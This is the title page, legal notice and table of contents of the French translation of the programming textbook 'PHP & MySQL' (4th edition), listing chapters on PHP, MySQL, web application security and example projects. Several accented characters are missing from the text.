Vous êtes sur la page 1sur 961

Rfrence

PHP &
MySQL
Luke Welling
Laura Thomson

Rseaux
et tlcom
Dveloppement
Web
Gnie logiciel

Scurit
Systme
dexploitation

4e dition

PHP
& MySQL
4e dition

Luke Welling & Laura Thomson

Pearson Education France a apport le plus grand soin la ralisation de ce livre afin de vous fournir une information complte et fiable. Cependant, Pearson Education France nassume de responsabilits, ni pour son utilisation, ni pour les contrefaons de brevets ou atteintes aux droits de tierces
personnes qui pourraient rsulter de cette utilisation.
Les exemples ou les programmes prsents dans cet ouvrage sont fournis pour illustrer les descriptions
thoriques. Ils ne sont en aucun cas destins une utilisation commerciale ou professionnelle.
Pearson Education France ne pourra en aucun cas tre tenu pour responsable des prjudices
ou dommages de quelque nature que ce soit pouvant rsulter de lutilisation de ces exemples ou
programmes.
Tous les noms de produits ou marques cits dans ce livre sont des marques dposes par leurs
propritaires respectifs.

Publi par Pearson Education France


47 bis, rue des Vinaigriers
75010 PARIS
Tl. : 01 72 74 90 00
www.pearson.fr

Titre original : PHP and MySQL Web Development,


Fourth edition
Traduit et rvis de lamricain par ric Jacoboni
(dition prcdente : Patrick Fabre et David de Loenzien)

Mise en pages : TyPAO


ISBN : 978-2-7440-4103-7
Copyright 2009 Pearson Education France

ISBN original : 978-0-672-32916-6


Copyright 2009 by Pearson Education, Inc.
All rights reserved

Tous droits rservs


Addison-Wesley Professional
800 East 96th Street, Indianapolis
Indiana 46240 USA

Aucune reprsentation ou reproduction, mme partielle, autre que celles prvues larticle L. 122-5 2 et 3 a) du code de la
proprit intellectuelle ne peut tre faite sans lautorisation expresse de Pearson Education France ou, le cas chant, sans
le respect des modalits prvues larticle L. 122-10 dudit code.
No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including
photocopying, recording or by any information storage retrieval system, without permission from Pearson Education, Inc.

Table des matires


Introduction ......................................................................................................................

Les points forts de ce livre ..........................................................................................

Ce que vous apprendrez en lisant ce livre ..................................................................

Prsentation de PHP ...................................................................................................

Prsentation de MySQL .............................................................................................

Pourquoi utiliser PHP et MySQL ? ............................................................................

Quelques avantages de PHP .......................................................................................

Performances ...................................................................................................

Adaptabilit .....................................................................................................

Intgration avec les bases de donnes .............................................................

Bibliothques intgres ...................................................................................

Cot .................................................................................................................

Facilit dapprentissage de PHP ......................................................................

Support orient objet ......................................................................................

Portabilit ........................................................................................................

Souplesse dans le processus de dveloppement .............................................

Code source .....................................................................................................

Disponibilit du support et de la documentation .............................................

Nouveauts de PHP 5 .................................................................................................

Quelques avantages de MySQL ..................................................................................

Performances ...................................................................................................

Cot rduit .......................................................................................................

Simplicit demploi .........................................................................................

Portabilit ........................................................................................................

Code source .....................................................................................................

Disponibilit du support ..................................................................................

Nouveauts de MySQL 5 ...........................................................................................

Organisation de ce livre ..............................................................................................

10

Encore un mot .............................................................................................................

11

IV

PHP & MySQL

Partie I
Utilisation de PHP
1 PHP : les bases .............................................................................................................
Utilisation de PHP ......................................................................................................
Formulaires HTML ....................................................................................................
Code du formulaire .........................................................................................
Traitement du formulaire ................................................................................
Incorporation de code PHP dans du code HTML ......................................................
Balises PHP .....................................................................................................
Styles des balises PHP ....................................................................................
Instructions de PHP .........................................................................................
Espaces ...........................................................................................................
Commentaires .................................................................................................
Ajout de contenu dynamique ......................................................................................
Appel de fonctions ..........................................................................................
Fonction date() ................................................................................................
Accs aux variables des formulaires ..........................................................................
Variables des formulaires ................................................................................
Concatnation de chanes ................................................................................
Variables et littraux ........................................................................................
Identificateurs .............................................................................................................
Cration de variables ..................................................................................................
Affectation de valeurs des variables ........................................................................
Types des variables ..........................................................................................
Types de donnes du PHP ...............................................................................
Intrt du typage ..............................................................................................
Transtypage .....................................................................................................
Variables dynamiques ......................................................................................
Constantes ...................................................................................................................
Porte des variables ....................................................................................................
Oprateurs ...................................................................................................................
Oprateurs arithmtiques ................................................................................
Oprateur de chanes .......................................................................................
Oprateurs daffectation ..................................................................................
Oprateurs de comparaison .............................................................................
Oprateurs logiques .........................................................................................
Oprateurs sur les bits .....................................................................................
Autres oprateurs ............................................................................................
Utilisation des oprateurs : calcul des totaux dun formulaire ...................................
Priorit et associativit des oprateurs : ordre dvaluation des expressions ............

15
16
16
16
18
18
19
20
20
21
22
22
23
24
24
24
28
28
29
30
30
30
30
31
32
32
33
33
35
35
36
36
39
40
41
42
44
46

Table des matires

Fonctions sur les variables ..........................................................................................


Test et dfinition des types de variables ..........................................................
Test de ltat dune variable ............................................................................
Rinterprtation des variables .........................................................................
Structures de contrle .................................................................................................
Prise de dcision avec des structures conditionnelles ................................................
Instructions if ...................................................................................................
Blocs de code ..................................................................................................
Instructions else ...............................................................................................
Instructions elseif ............................................................................................
Instructions switch ...........................................................................................
Comparaison des diffrentes structures conditionnelles .................................
Structures de rptition : itrations .............................................................................
Boucles while ..................................................................................................
Boucles for et foreach .....................................................................................
Boucles dowhile ...........................................................................................
Interruption de lexcution dune structure de contrle ou dun script ......................
Employer lautre syntaxe des structures de contrle ..................................................
Utiliser declare ...........................................................................................................
Prochaine tape : enregistrement de la commande du client ......................................

47
48
49
49
50
50
50
51
51
52
53
55
55
56
58
59
59
60
60
61

2 Stockage et rcupration des donnes .......................................................................


Stockage des donnes en vue dun usage ultrieur ....................................................
Stockage et rcupration des commandes de Bob ......................................................
Prsentation des fonctions de traitement des fichiers .................................................
Ouverture dun fichier ................................................................................................
Modes douverture des fichiers .......................................................................
Utilisation de fopen() pour ouvrir un fichier ...................................................
Ouverture de fichiers via FTP ou HTTP .........................................................
Problmes douverture de fichiers ...................................................................
criture dans un fichier ...............................................................................................
Paramtres de la fonction fwrite() ...................................................................
Formats de fichiers ..........................................................................................
Fermeture dun fichier ................................................................................................
Lecture dans un fichier ...............................................................................................
Ouverture dun fichier en lecture : fopen() ......................................................
Dtermination du moment o doit sarrter la lecture : feof() ........................
Lecture dune ligne la fois : fgets(), fgetss() et fgetcsv() ..............................
Lecture de lintgralit du contenu dun fichier : readfile(), fpassthru()
et file() .............................................................................................................
Lecture dun caractre : fgetc() .......................................................................
Lecture dune longueur arbitraire : fread() .....................................................

63
63
64
65
65
65
66
69
70
72
73
73
74
76
77
77
77
79
80
80

VI

PHP & MySQL

Autres fonctions utiles pour la manipulation des fichiers ..........................................


Vrification de lexistence dun fichier : file_exists() ......................................
Dtermination de la taille dun fichier: filesize() .............................................
Suppression dun fichier : unlink() ..................................................................
Navigation dans un fichier : rewind(), fseek() et ftell() ...................................
Verrouillage des fichiers .............................................................................................
Une meilleure solution : les systmes de gestion de base de donnes .......................
Problmes poss par lusage de fichiers plats .................................................
La solution apporte par les SGBDR ces problmes ...................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

81
81
81
81
81
83
84
84
85
86
86

3 Utilisation de tableaux .................................................................................................


Quest-ce quun tableau ? ...........................................................................................
Tableaux indices numriques ...................................................................................
Initialisation des tableaux indices numriques .............................................
Accs au contenu des tableaux ........................................................................
Utilisation de boucles pour accder au contenu dun tableau .........................
Tableaux avec des indices diffrents ..........................................................................
Initialisation dun tableau ................................................................................
Accs aux lments du tableau .......................................................................
Utilisation de boucles ......................................................................................
Oprateurs sur les tableaux .........................................................................................
Tableaux multidimensionnels .....................................................................................
Tri de tableaux ............................................................................................................
Utilisation de la fonction sort() .......................................................................
Utilisation des fonctions asort() et ksort() pour trier des tableaux ................
Tri dans lordre inverse ...................................................................................
Tri de tableaux multidimensionnels ...........................................................................
Tris dfinis par lutilisateur .............................................................................
Tris dfinis par lutilisateur, dans lordre inverse ............................................
Rordonner des tableaux ............................................................................................
Utilisation de la fonction shuffle() ...................................................................
Utilisation de la fonction array_reverse() .......................................................
Chargement de tableaux partir de fichiers ...............................................................
Autres manipulations de tableaux ..............................................................................
Parcours dun tableau : each, current(), reset(), end(), next(), pos() et prev() ....
Application dune fonction donne chaque lment dun tableau :
array_walk() ....................................................................................................
Comptage des lments dun tableau :
count(), sizeof() et array_count_values() ........................................................
Conversion de tableaux en variables scalaires : extract() ................................

87
87
89
89
90
91
91
91
92
92
94
95
99
99
100
100
100
101
103
103
103
105
105
109
109
110
111
112

Table des matires

VII

Pour aller plus loin ......................................................................................................


Pour la suite ................................................................................................................

114
114

4 Manipulation de chanes et dexpressions rgulires ...............................................


Application modle : formulaire intelligent de saisie dun message (Smart Form Mail)
Mise en forme de chanes ..........................................................................................
lagage des chanes : chop(), Itrim() et trim() ................................................
Mise en forme des chanes en vue de leur prsentation ..................................
Mise en forme de chanes en vue de leur enregistrement :
addslashes() et stripslashes() ..........................................................................
Fusion et scission de chanes au moyen des fonctions de traitement de chane .........
Utilisation des fonctions explode(), implode() et join() ..................................
Utilisation de la fonction strtok() ....................................................................
Utilisation de la fonction substr() ...................................................................
Comparaison de chanes .............................................................................................
Comparaison des chanes : strcmp(), strcasecmp() et strnatcmp() ..................
Longueur dune chane : la fonction strlen() ...................................................
Recherche et remplacement de sous-chanes avec les fonctions
de traitement de chanes .............................................................................................
Recherche de sous-chanes dans des chanes : strstr(), strchr(), strrchr()
et stristr() .........................................................................................................
Dtermination de la position dune sous-chane dans une chane :
strpos() et strrpos() .........................................................................................
Substitution de sous-chanes : str_replace() et substr_replace() ....................
Introduction aux expressions rgulires .....................................................................
Notions de base ...............................................................................................
Ensembles et classes de caractres ..................................................................
Rptition ........................................................................................................
Sous-expressions .............................................................................................
Dnombrement de sous-expressions ...............................................................
Ancrage au dbut ou la fin dune chane ......................................................
Branchement ...................................................................................................
Recherche littrale de caractres spciaux ......................................................
Rcapitulatif sur les caractres spciaux .........................................................
Application au cas du formulaire "intelligent" de courrier lectronique ........
Recherche de sous-chanes au moyen dexpressions rgulires .................................
Remplacement de sous-chanes au moyen dexpressions rgulires ..........................
Dcoupage de chanes au moyen dexpressions rgulires .............................
Pour aller plus loin ......................................................................................................
Pour la suite ...............................................................................................................

115
115
118
118
119

5 Rutilisation de code et criture de fonctions ...........................................................


Avantages de la rutilisation du code .........................................................................
Cot .................................................................................................................

145
145
145

123
125
125
126
127
128
128
129
129
130
131
132
134
134
135
136
137
137
137
138
138
138
139
141
141
142
142
143

VIII

PHP & MySQL

Fiabilit ...........................................................................................................
Cohrence ........................................................................................................
Utilisation des instructions require() et include() .......................................................
Extensions des noms de fichiers et require() ...................................................
Utilisation require() pour crer des modles de site web ...........................................
Utilisation des options de configuration auto_prepend_file et auto_append_file
Utilisation de fonctions en PHP .................................................................................
Appel de fonctions ..........................................................................................
Appel dune fonction indfinie ........................................................................
Casse et noms des fonctions ...........................................................................
Dfinir ses propres fonctions ? ...................................................................................
Structure de base dune fonction ................................................................................
Attribution dun nom une fonction ...............................................................
Paramtres ..................................................................................................................
Porte ..........................................................................................................................
Passer des paramtres par rfrence et par valeur ......................................................
Utilisation du mot-cl return .....................................................................................
Retour de valeurs des fonctions ..................................................................................
Rcursivit ..................................................................................................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

146
146
146
147
149
154
155
155
157
158
158
159
160
161
163
166
167
169
170
172
172

6 PHP orient objet ........................................................................................................


Concepts de la programmation oriente objet ............................................................
Classes et objets ..............................................................................................
Polymorphisme ...............................................................................................
Hritage ...........................................................................................................
Cration de classes, dattributs et doprations en PHP .............................................
Structure dune classe .....................................................................................
Constructeurs ...................................................................................................
Destructeurs .....................................................................................................
Instanciation des classes .............................................................................................
Utilisation des attributs de classe ................................................................................
Contrler laccs avec private et public .....................................................................
Appel des oprations dune classe ..............................................................................
Implmentation de lhritage en PHP .........................................................................
Contrler la visibilit via lhritage avec private et protected ...................................
Redfinition (overriding) ................................................................................
Empcher lhritage et les redfinitions avec final ..........................................
Hritage multiple .............................................................................................
Implmentation dinterfaces ...........................................................................
Conception de classes .................................................................................................
Implmentation dune classe ......................................................................................

173
173
173
175
176
176
176
177
177
178
178
180
181
182
183
184
186
186
187
187
189

Table des matires

IX

Comprendre les fonctionnalits orientes objet avances de PHP .............................


Constantes de classe ........................................................................................
Mthodes statiques ..........................................................................................
Vrification du type de classe et indication de type ........................................
Clonage dobjets .............................................................................................
Classes abstraites .............................................................................................
Surcharge de mthodes avec call() .............................................................
Utiliser autoload() ......................................................................................
Implmentation des itrateurs et itrations .....................................................
Conversion de classes en chanes ....................................................................
Utiliser lAPI dintrospection ..........................................................................
Pour la suite ................................................................................................................

197
197
197
198
199
199
200
201
201
203
203
204

7 Gestion des exceptions .................................................................................................


Notions relatives la gestion des exceptions ............................................................
La classe Exception ........................................................................................
Exceptions dfinies par lutilisateur ..........................................................................
Exceptions dans le garage de Bob ...................................................................
Exceptions et autres mcanismes de gestion des erreurs en PHP ..............................
Lectures complmentaires ..........................................................................................
Prochaine tape ...........................................................................................................

205
205
207
208
210
213
214
214

Partie II
Utilisation de MySQL
8 Conception dune base de donnes web ....................................................................
Concepts des bases de donnes relationnelles ............................................................
Tables ...............................................................................................................
Colonnes ..........................................................................................................
Lignes ..............................................................................................................
Valeurs .............................................................................................................
Cls ..................................................................................................................
Schmas ...........................................................................................................
Relations ..........................................................................................................
Conception dune base de donnes web .....................................................................
Penser aux objets rels que vous modlisez ....................................................
viter denregistrer des informations redondantes ..........................................
Utiliser des valeurs de colonne atomiques ......................................................
Choisir des cls pertinentes .............................................................................
Penser aux questions que vous poserez votre base de donnes ....................

217
218
218
219
219
219
219
221
221
222
222
224
225
226
226

PHP & MySQL

viter les architectures ayant beaucoup dattributs vides ...............................


Rcapitulatif sur les types de tables ................................................................
Architecture dune base de donnes web ...................................................................
Architecture .....................................................................................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

227
228
228
228
230
230

9 Cration dune base de donnes web .........................................................................


Note sur lutilisation du moniteur MySQL ................................................................
Comment ouvrir une session MySQL ........................................................................
Cration des bases de donnes et des utilisateurs .......................................................
Configuration des utilisateurs et des privilges ..........................................................
Introduction au systme de privilges de MySQL .....................................................
Principe des privilges minimaux ...................................................................
Configuration des utilisateurs : la commande GRANT ...................................
Types et niveaux des privilges .......................................................................
La commande REVOKE ..................................................................................
Exemples dutilisation de GRANT et de REVOKE .........................................
Configurer un utilisateur pour le Web ........................................................................
Utiliser la bonne base de donnes ..............................................................................
Cration des tables de la base de donnes ..................................................................
Signification des autres mots-cls ...................................................................
Analyse des types de colonnes ........................................................................
Examiner la base de donnes avec SHOW et DESCRIBE ...............................
Cration dindex .............................................................................................
Identificateurs MySQL ...............................................................................................
Types des colonnes .....................................................................................................
Types numriques ............................................................................................
Types de dates et dheures ...............................................................................
Types de chanes ..............................................................................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

231
232
233
235
235
235
236
236
238
241
241
242
243
244
245
246
248
249
250
251
251
253
254
256
256

10 Travailler avec une base de donnes MySQL .........................................................


Quest-ce que SQL ? ..................................................................................................
Insertion de donnes dans une base de donnes .........................................................
Rcupration des donnes dans la base de donnes ...................................................
Rcuprer des donnes ayant des critres spcifiques ....................................
Rcuprer des donnes dans plusieurs tables ..................................................
Rcuprer les donnes dans un ordre particulier .............................................
Groupement et agrgation des donnes ...........................................................
Choisir les lignes renvoyer ...........................................................................
Utiliser des sous-requtes ...............................................................................

257
257
258
260
262
264
269
270
272
273

Table des matires

XI

Mise jour des enregistrements de la base de donnes ..............................................


Modification des tables aprs leur cration ................................................................
Supprimer des enregistrements de la base de donnes ...............................................
Supprimer des tables ...................................................................................................
Supprimer une base de donnes entire ......................................................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

276
276
279
279
279
280
280

11 Accs une base de donnes MySQL partir du Web avec PHP ........................
Fonctionnement des architectures de bases de donnes web .....................................
Principales tapes dans linterrogation dune base de donnes partir du Web ............
Vrifier et filtrer les donnes saisies par lutilisateur .................................................
tablissement de la connexion ...................................................................................
Choisir une base de donnes utiliser ........................................................................
Interroger la base de donnes .....................................................................................
Rcuprer les rsultats de la requte ..........................................................................
Dconnexion de la base de donnes ...........................................................................
Ajouter des informations dans la base de donnes .....................................................
Utiliser des instructions prpares ..............................................................................
Autres interfaces PHP pour les bases de donnes ......................................................
Utilisation dune interface de base de donnes gnrique : PEAR::MDB2 ...............
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

281
281
285
285
286
287
288
289
290
290
294
295
296
298
298

12 Administration MySQL avance ..............................................................................


Les dtails du systme des privilges .........................................................................
La table user ....................................................................................................
Les tables db et host ........................................................................................
Les tables tables_priv, columns_priv et procs_priv .......................................
Contrle daccs : utilisation des tables de privilges par MySQL ................
Mise jour des privilges : quel moment les modifications
prennent-elles effet ? .......................................................................................
Scuriser une base de donnes MySQL .....................................................................
MySQL du point de vue du systme dexploitation ........................................
Mots de passe ..................................................................................................
Privilges des utilisateurs ................................................................................
Problmes relatifs au Web ...............................................................................
Obtenir plus dinformations sur les bases de donnes ................................................
Obtenir des informations avec SHOW .............................................................
Obtenir des informations sur les colonnes avec DESCRIBE ..........................
Comprendre le fonctionnement des requtes avec EXPLAIN .........................
Astuces gnrales doptimisation ...............................................................................
Optimisation de larchitecture .........................................................................

299
299
301
303
305
306
307
308
308
308
309
310
311
311
314
314
320
320

XII

PHP & MySQL

Permissions .....................................................................................................
Optimisation des tables ...................................................................................
Utilisation des index ........................................................................................
Utiliser des valeurs par dfaut .........................................................................
Autres astuces ..................................................................................................
Sauvegarder votre base de donnes MySQL ..............................................................
Restauration de votre base de donnes MySQL .........................................................
Implmenter la rplication .........................................................................................
Configurer le matre .......................................................................................
Raliser le transfert de donnes initial ............................................................
Configurer lesclave ou les esclaves ...............................................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

320
320
321
321
321
321
322
323
323
324
325
325
326

13 Programmation MySQL avance .............................................................................


Linstruction LOAD DATA INFILE ...........................................................................
Les moteurs de stockage ............................................................................................
Les transactions ..........................................................................................................
Comprendre la dfinition des transactions .....................................................
Utiliser des transactions avec InnoDB ...........................................................
Les cls trangres .....................................................................................................
Les procdures stockes ............................................................................................
Un exemple simple ..........................................................................................
Variables locales ..............................................................................................
Curseurs et structures de contrle ..................................................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

327
327
327
329
329
330
331
332
333
335
336
340
340

Partie III
Scurit
14 Scurit des applications web ...................................................................................
Stratgies de scurit ..................................................................................................
Partir du bon pied ............................................................................................
Trouver un quilibre entre la scurit et la facilit dutilisation .....................
Surveiller la scurit ........................................................................................
Une approche de base ......................................................................................
Identifier les menaces auxquelles nous devrons faire face .........................................
Accs ou modification de donnes confidentielles ..........................................
Perte ou destruction des donnes ....................................................................
Dni de service ................................................................................................

343
343
343
344
345
345
345
346
346
347

Table des matires

XIII

Injection de code malicieux ............................................................................


Compromission dun serveur ..........................................................................
Savoir qui lon a affaire ...........................................................................................
Les pirates .......................................................................................................
Utilisateurs victimes de machines infectes ....................................................
Employs mcontents ......................................................................................
Voleurs de matriel ..........................................................................................
Nous-mmes ....................................................................................................
Scuriser son code ......................................................................................................
Filtrage des donnes fournies par les utilisateurs ............................................
Protger les sorties ..........................................................................................
Organiser le code .............................................................................................
Contenu du code ..............................................................................................
Considrations sur le systme de fichiers ........................................................
Stabilit du code et bogues .............................................................................
Apostrophes dexcution et exec .....................................................................
Scuriser le serveur web et PHP .................................................................................
Garder les logiciels jour ...............................................................................
Lire le fichier php.ini .......................................................................................
Configurer le serveur web ...............................................................................
Applications web chez des hbergeurs ............................................................
Scuriser le serveur de base de donnes .....................................................................
Utilisateurs et systme de permissions ............................................................
Envoi de donnes au serveur ...........................................................................
Connexion au serveur ......................................................................................
Excution du serveur .......................................................................................
Protger le rseau .......................................................................................................
Installation de pare-feux ..................................................................................
Utilisation dune DMZ ....................................................................................
Prparation contre les attaques DoS et DDoS .................................................
Scurit des ordinateurs et du systme dexploitation ................................................
Maintenir jour le systme dexploitation ......................................................
Ne lancer que ce qui est ncessaire .................................................................
Scuriser physiquement le serveur ..................................................................
Se prparer aux dsastres ............................................................................................
Pour la suite ................................................................................................................

347
348
348
348
348
349
349
349
349
350
354
356
357
358
359
360
361
361
362
363
364
365
366
367
367
368
368
369
369
370
370
370
371
371
372
373

15 Authentification avec PHP et MySQL .....................................................................


Identification des visiteurs ..........................................................................................
Implmenter un contrle daccs ................................................................................
Stockage des mots de passe .............................................................................
Chiffrement des mots de passe ........................................................................
Protger plusieurs pages ..................................................................................

375
375
377
379
381
383

XIV

PHP & MySQL

Authentification de base .............................................................................................


Utiliser lauthentification de base avec PHP ..............................................................
Utiliser lauthentification de base avec les fichiers .htaccess dApache ................
Utiliser lauthentification mod_auth_mysql ...............................................................
Installation de mod_auth_mysql .....................................................................
Utilisation de mod_auth_mysql ......................................................................
Cration dune authentification personnalise ............................................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

384
385
387
391
391
392
393
393
394

16 Transactions scurises avec PHP et MySQL .........................................................


Transactions scurises ...............................................................................................
Lordinateur de lutilisateur .............................................................................
Internet ............................................................................................................
Votre systme ..................................................................................................
Utilisation de SSL .......................................................................................................
Filtrer les donnes saisies ...........................................................................................
Stockage scuris ........................................................................................................
Stockage des numros de cartes de crdit ..................................................................
Utilisation du chiffrement avec PHP ..........................................................................
Installation de GPG .........................................................................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

395
395
396
398
399
400
403
404
406
406
407
415
415

Partie IV
Techniques PHP avances
17 Interaction avec le systme de fichiers et le serveur ...............................................
Introduction au dpt de fichiers ................................................................................
Code HTML dun formulaire de dpt de fichiers ..........................................
criture du code PHP pour le traitement du fichier .......................................
Problmes frquents ........................................................................................
Utilisation des fonctions de manipulation des rpertoires ..........................................
Lecture du contenu de rpertoires ...................................................................
Obtention dinformations sur le rpertoire courant .........................................
Cration et suppression de rpertoires ............................................................
Interaction avec le systme de fichiers .......................................................................
Obtention dinformations sur les fichiers ........................................................
Modification des proprits dun fichier .........................................................
Cration, suppression et dplacement de fichiers ...........................................
Utilisation de fonctions dexcution de programmes .................................................

419
419
421
422
426
427
427
431
431
432
432
435
436
437

Table des matires

XV

Interaction avec lenvironnement : getenv() et putenv() .............................................


Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

439
440
440

18 Utilisation des fonctions de rseau et de protocole .................................................


Vue densemble des protocoles rseau ......................................................................
Envoi et rception de courriers lectroniques .............................................................
Utilisation des donnes dautres sites web ................................................................
Utilisation de fonctions de recherche rseau ..............................................................
Utilisation de FTP .......................................................................................................
Sauvegarde dun fichier ou cration dun enregistrement miroir dun fichier
Tlchargement de fichiers vers un serveur ....................................................
viter les dpassements de dlai .....................................................................
Autres fonctions FTP ......................................................................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

441
441
442
443
445
450
450
457
457
457
458
458

19 Gestion de la date et de lheure ................................................................................


Obtention de la date et de lheure partir dun script PHP ........................................
Utilisation de la fonction date() ......................................................................
Utilisation des tiquettes temporelles Unix .....................................................
Utilisation de la fonction getdate() .................................................................
Validation de dates avec checkdate() ..............................................................
Formatage des tiquettes temporelles ............................................................
Conversion entre des formats de date PHP et MySQL ...............................................
Calculs de dates avec PHP ..........................................................................................
Calculs de dates avec MySQL ....................................................................................
Utiliser des microsecondes .........................................................................................
Utilisation des fonctions PHP de calendrier ...............................................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

459
459
459
462
464
465
465
467
469
471
472
473
474
474

20 Gnration dimages via PHP .................................................................................


Configuration du support des images dans PHP .........................................................
Formats graphiques ....................................................................................................
JPEG ................................................................................................................
PNG .................................................................................................................
WBMP .............................................................................................................
GIF ..................................................................................................................
Cration dimages .......................................................................................................
Canevas de limage ........................................................................................
Dessin ou impression de texte dans une image ...............................................

475
476
477
477
477
478
478
478
479
480

XVI

PHP & MySQL

Production de limage finale ...........................................................................


Nettoyage final ................................................................................................
Utilisation dimages produites automatiquement dans dautres pages ...................
Utilisation de texte et de polices pour crer des images .............................................
Dfinition du canevas de base .........................................................................
"Faire tenir" le texte sur le bouton ...................................................................
Positionnement du texte ..................................................................................
criture du texte sur le bouton ........................................................................
Fin du traitement .............................................................................................
Reprsentation graphique de donnes numriques .....................................................
Autres fonctions de cration et de manipulation dimages ........................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

482
483
483
484
487
488
491
492
492
493
501
501
501

21 Utilisation du contrle de session en PHP ...............................................................


Quest-ce que le contrle de session ? ........................................................................
Fonctionnalit de base dune session .........................................................................
Quest-ce quun cookie ? ................................................................................
Cration de cookies partir dun script PHP ..................................................
Utilisation des cookies avec des sessions ........................................................
Stockage de lID de session ............................................................................
Implmentation dun contrle de session simple .......................................................
Dmarrage dune session ................................................................................
Enregistrement des variables de session .........................................................
Utilisation de variables de session ..................................................................
Suppression des variables et destruction de la session ....................................
Un exemple de session simple ....................................................................................
Configuration du contrle de session .........................................................................
Authentification avec le contrle de session ..............................................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

503
503
504
504
505
505
506
506
506
507
507
508
508
510
512
517
518

22 Autres fonctions et possibilits offertes par PHP ....................................................


valuation de chanes : eval() .....................................................................................
Achvement de lexcution : die() et exit() ................................................................
Srialisation de variables et dobjets .........................................................................
Obtention dinformations sur lenvironnement PHP ..................................................
Liste des extensions charges ..........................................................................
Identification du propritaire dun script .........................................................
Dtermination de la date de dernire modification dun script .......................
Modification temporaire de lenvironnement dexcution .........................................

519
519
520
521
522
522
523
523
523

Table des matires

XVII

Colorisation du code source .......................................................................................


Utiliser PHP en ligne de commande ..........................................................................
Pour la suite ................................................................................................................

524
525
526

Partie V
Crer des projets avec PHP et MySQL
23 Utilisation de PHP et de MySQL dans des projets importants .............................
Appliquer les rgles du gnie logiciel au dveloppement web ..................................
Planification et mise en uvre dun projet dapplication web ...................................
Rutilisation du code ..................................................................................................
crire du code facile maintenir ................................................................................
Standards de programmation ...........................................................................
Dcomposer le code ........................................................................................
Utiliser une structure standard pour vos rpertoires ........................................
Documenter et partager les fonctions dveloppes en interne ........................
Implmenter un contrle de versions ..........................................................................
Choisir un environnement de dveloppement ............................................................
Documenter vos projets ..............................................................................................
Prototypage .................................................................................................................
Sparation de la logique et du contenu .......................................................................
Optimisation du code ..................................................................................................
Quelques optimisations simples ......................................................................
Utilisation des produits de Zend .....................................................................
Tests ..........................................................................................................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

529
529
530
531
532
532
536
537
537
537
539
539
540
541
542
542
543
543
545
545

24 Dbogage ....................................................................................................................
Les erreurs de programmation ....................................................................................
Erreurs de syntaxe ...........................................................................................
Erreurs en cours dexcution ...........................................................................
Erreurs de logique ...........................................................................................
Aide au dbogage des variables ..................................................................................
Les niveaux derreur ...................................................................................................
Modifier les paramtres daffichage des erreurs .........................................................
Dclencher vos propres erreurs ..................................................................................
Grer correctement les erreurs ...................................................................................
Pour la suite ................................................................................................................

547
547
547
549
555
557
559
560
562
562
565

XVIII PHP & MySQL

25 Authentification des utilisateurs et personnalisation ............................................


Composants de la solution ..........................................................................................
Identification des utilisateurs et personnalisation ..........................................
Enregistrer les liens vers les sites favoris ........................................................
Sites suggrs ..................................................................................................
Rsum de la solution .................................................................................................
Implmentation de la base de donnes .......................................................................
Implmentation du site de base ..................................................................................
Implmentation de lauthentification des utilisateurs .................................................
Enregistrement ................................................................................................
Connexion .......................................................................................................
Dconnexion ...................................................................................................
Modifier les mots de passe ..............................................................................
Rinitialiser les mots de passe oublis ............................................................
Implmentation de lenregistrement et de la rcupration des favoris .............................
Ajouter des liens ..............................................................................................
Afficher les favoris ..........................................................................................
Supprimer des favoris ......................................................................................
Implmentation de la suggestion de sites ...................................................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

567
568
568
569
569
570
572
573
576
576
583
586
587
589
594
594
597
598
600
604
604

26 Implmentation dun panier virtuel ........................................................................


Les composants .........................................................................................................
Implmenter un catalogue en ligne .................................................................
Conserver une trace des achats effectus par lutilisateur ...............................
Implmenter un systme de paiement .............................................................
Crer une interface dadministration ...............................................................
Prsentation de la solution ..........................................................................................
Implmentation de la base de donnes .......................................................................
Implmentation du catalogue en ligne ........................................................................
Liste des catgories .........................................................................................
Liste des livres dune catgorie .......................................................................
Afficher les informations relatives un livre ..................................................
Implmentation du panier virtuel ...............................................................................
Utiliser le script show_cart.php .....................................................................
Afficher le panier virtuel .................................................................................
Ajouter des articles dans le panier virtuel .......................................................
Enregistrer le panier virtuel modifi ...............................................................
Afficher une barre den-tte de rsum ...........................................................
Rglement des achats ......................................................................................
Implmentation du paiement ......................................................................................
Implmentation dune interface dadministration ......................................................

605
606
606
606
607
608
608
612
615
617
619
621
622
623
626
628
630
631
631
638
640

Table des matires

XIX

Pour aller plus loin ......................................................................................................


Utilisation dun systme existant ................................................................................
Pour la suite ................................................................................................................

648
649
649

27 Implmentation dun webmail .................................................................................


Composants de la solution ..........................................................................................
Les protocoles de courrier POP3 et IMAP ......................................................
Gestion de POP3 et IMAP en PHP .................................................................
Rsum de la solution .................................................................................................
Cration de la base de donnes ...................................................................................
Architecture du script .................................................................................................
Connexion et dconnexion .........................................................................................
Configuration de comptes de courrier ........................................................................
Cration dun compte de courrier ...................................................................
Modifier un compte de courrier existant .........................................................
Supprimer un compte de courrier ....................................................................
Lecture du courrier ....................................................................................................
Choisir un compte ..........................................................................................
Consulter le contenu dune bote aux lettres ..................................................
Lecture dun e-mail .........................................................................................
Afficher les en-ttes dun message ..................................................................
Suppression des messages ...............................................................................
Envoyer du courrier ....................................................................................................
Envoyer un nouveau message .........................................................................
Rpondre un message ou le faire suivre .......................................................
Pour aller plus loin ......................................................................................................
Pour la suite ................................................................................................................

651
651
652
652
654
656
657
663
666
668
670
670
671
671
674
676
680
681
681
682
683
685
686

28 Implmentation dun gestionnaire de listes de diffusion .......................................


Composants de la solution .........................................................................................
Configuration de la base de donnes ...............................................................
